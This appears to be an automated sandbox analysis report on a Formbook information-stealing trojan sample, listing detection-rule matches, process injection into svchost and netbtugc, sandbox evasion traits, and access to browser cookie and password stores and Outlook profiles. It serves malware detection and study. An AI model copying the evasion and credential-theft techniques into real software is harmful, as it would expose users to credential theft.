Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03587E54 appears 99 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0352B970 appears 262 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03575130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 035BF290 appears 103 times
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: String function: 03B37E54 appears 107 times
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: String function: 03B25130 appears 58 times
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: String function: 03ADB970 appears 262 times
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: String function: 03B6F290 appears 103 times
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: String function: 03B5EA12 appears 86 times
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: String function: 004115D7 appears 36 times
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: String function: 00416C70 appears 39 times
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: String function: 00445AE0 appears 65 times

Source: fJD7ivEnzm.exe, 00000000.00000003.1791177055.000000000496D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs fJD7ivEnzm.exe
Source: fJD7ivEnzm.exe, 00000000.00000003.1789568752.00000000047C3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs fJD7ivEnzm.exe

Source: fJD7ivEnzm.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1996196701.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3638744438.00000000032E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3638995982.00000000035D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1996763400.0000000003850000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3638935792.0000000003580000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1996814627.0000000003C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.3639798172.00000000031D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@14/9

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_0044AF6C GetLastError,FormatMessageW,

0_2_0044AF6C

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		0_2_004333BE
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00464EAE OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,		0_2_00464EAE

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_0045D619 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_0045D619

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_004755C4 CreateToolhelp32Snapshot,Process32FirstW,__wsplitpath,_wcscat,__wcsicoll,Process32NextW,CloseHandle,

0_2_004755C4

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_0047839D CoInitialize,CoCreateInstance,CoUninitialize,

0_2_0047839D

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_0043305F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

0_2_0043305F

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

File created: C:\Users\user\AppData\Local\Temp\kinematical

Source: fJD7ivEnzm.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: netbtugc.exe, 00000006.00000002.3639094585.00000000036B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE cookies(creation_utc INTEGER NOT NULL,host_key TEXT NOT NULL,top_;
Source: netbtugc.exe, 00000006.00000002.3639094585.00000000036E5000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.2284204913.00000000036E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: fJD7ivEnzm.exe

ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

File read: C:\Users\user\Desktop\fJD7ivEnzm.exe

Source: unknown	Process created: C:\Users\user\Desktop\fJD7ivEnzm.exe "C:\Users\user\Desktop\fJD7ivEnzm.exe"
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\fJD7ivEnzm.exe"
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	Process created: C:\Windows\SysWOW64\netbtugc.exe "C:\Windows\SysWOW64\netbtugc.exe"
Source: C:\Windows\SysWOW64\netbtugc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\fJD7ivEnzm.exe"	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	Process created: C:\Windows\SysWOW64\netbtugc.exe "C:\Windows\SysWOW64\netbtugc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\netbtugc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: fJD7ivEnzm.exe

Static file information: File size 1393415 > 1048576

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: IqZHJpXEsts.exe, 00000004.00000000.1922332064.00000000000FE000.00000002.00000001.01000000.00000004.sdmp, IqZHJpXEsts.exe, 00000007.00000002.3638744641.00000000000FE000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: fJD7ivEnzm.exe, 00000000.00000003.1793057046.0000000004840000.00000004.00001000.00020000.00000000.sdmp, fJD7ivEnzm.exe, 00000000.00000003.1789568752.00000000046A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1899809963.0000000003100000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901863289.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996459004.000000000369E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996459004.0000000003500000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3640025456.0000000003C4E000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.1996513714.000000000375A000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3640025456.0000000003AB0000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.1998537625.0000000003902000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: fJD7ivEnzm.exe, 00000000.00000003.1793057046.0000000004840000.00000004.00001000.00020000.00000000.sdmp, fJD7ivEnzm.exe, 00000000.00000003.1789568752.00000000046A0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1899809963.0000000003100000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901863289.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996459004.000000000369E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1996459004.0000000003500000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, netbtugc.exe, 00000006.00000002.3640025456.0000000003C4E000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.1996513714.000000000375A000.00000004.00000020.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3640025456.0000000003AB0000.00000040.00001000.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000003.1998537625.0000000003902000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: netbtugc.pdb source: svchost.exe, 00000001.00000002.1996320548.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1964838255.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, IqZHJpXEsts.exe, 00000004.00000002.3639292948.00000000014A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: netbtugc.exe, 00000006.00000002.3640439126.00000000040DC000.00000004.10000000.00040000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3639094585.000000000365E000.00000004.00000020.00020000.00000000.sdmp, IqZHJpXEsts.exe, 00000007.00000000.2067866976.0000000002D4C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2390344641.000000002249C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: netbtugc.exe, 00000006.00000002.3640439126.00000000040DC000.00000004.10000000.00040000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3639094585.000000000365E000.00000004.00000020.00020000.00000000.sdmp, IqZHJpXEsts.exe, 00000007.00000000.2067866976.0000000002D4C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2390344641.000000002249C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: netbtugc.pdbGCTL source: svchost.exe, 00000001.00000002.1996320548.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1964838255.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, IqZHJpXEsts.exe, 00000004.00000002.3639292948.00000000014A8000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Code function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,

0_2_0040EBD0

Source: fJD7ivEnzm.exe

Static PE information: real checksum: 0xa961f should be: 0x160b2e

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00462463 push edi; ret	0_2_00462465
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00416CB5 push ecx; ret	0_2_00416CC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403060 push eax; ret	1_2_00403062
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004160FC push 00000030h; retf	1_2_00416149
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041789B push C5503231h; retf	1_2_004178A3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041613C push 00000030h; retf	1_2_00416149
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040D211 pushad ; ret	1_2_0040D212
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004132A3 push esi; ret	1_2_004132A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041136F push edi; retf	1_2_00411372
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00417CFB push 789F05E2h; iretd	1_2_00417D02
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004135D8 push ds; retf	1_2_004135F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004135E3 push ds; retf	1_2_004135F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00414594 push edi; retf	1_2_004145B7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041E67B push ebp; retf	1_2_0041E67D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041E61E push eax; retf	1_2_0041E647
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041E6DA pushad ; ret	1_2_0041E6DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004016F6 push ss; ret	1_2_00401859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00417FCB push edx; iretd	1_2_00417FCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00401FF6 push ecx; ret	1_2_00401FFF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_035309AD push ecx; mov dword ptr [esp], ecx	1_2_035309B6
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AB225F pushad ; ret	6_2_03AB27F9
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AB27FA pushad ; ret	6_2_03AB27F9
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AE09AD push ecx; mov dword ptr [esp], ecx	6_2_03AE09B6
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AB283D push eax; iretd	6_2_03AB2858
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_03AB1368 push eax; iretd	6_2_03AB1369
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_032EE30C push edi; retf	6_2_032EE30F
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_032F0240 push esi; ret	6_2_032F0245
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_0330452B push ds; iretd	6_2_0330454B
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_032F0575 push ds; retf	6_2_032F058D
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_032F0580 push ds; retf	6_2_032F058D
Source: C:\Windows\SysWOW64\netbtugc.exe	Code function: 6_2_032F4838 push C5503231h; retf	6_2_032F4840

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0047A330 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_0047A330
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00434418

Source: C:\Windows\SysWOW64\netbtugc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	API/Special instruction interceptor: Address: 4199AA4
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\netbtugc.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0357096E rdtsc

1_2_0357096E

Source: C:\Windows\SysWOW64\netbtugc.exe	Window / User API: threadDelayed 3770			Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe	Window / User API: threadDelayed 6202			Jump to behavior

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-85135

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	API coverage: 3.3 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\netbtugc.exe	API coverage: 2.6 %

Source: C:\Windows\SysWOW64\netbtugc.exe TID: 6452	Thread sleep count: 3770 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe TID: 6452	Thread sleep time: -7540000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe TID: 6452	Thread sleep count: 6202 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\netbtugc.exe TID: 6452	Thread sleep time: -12404000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe TID: 5228	Thread sleep time: -65000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe TID: 5228	Thread sleep time: -39000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\netbtugc.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\netbtugc.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452492
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442886
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_004788BD
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_004339B6
Source: C:\Users\user\Desktop\fJD7ivEnzm.exe	Code function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	0_2_0045CAFA
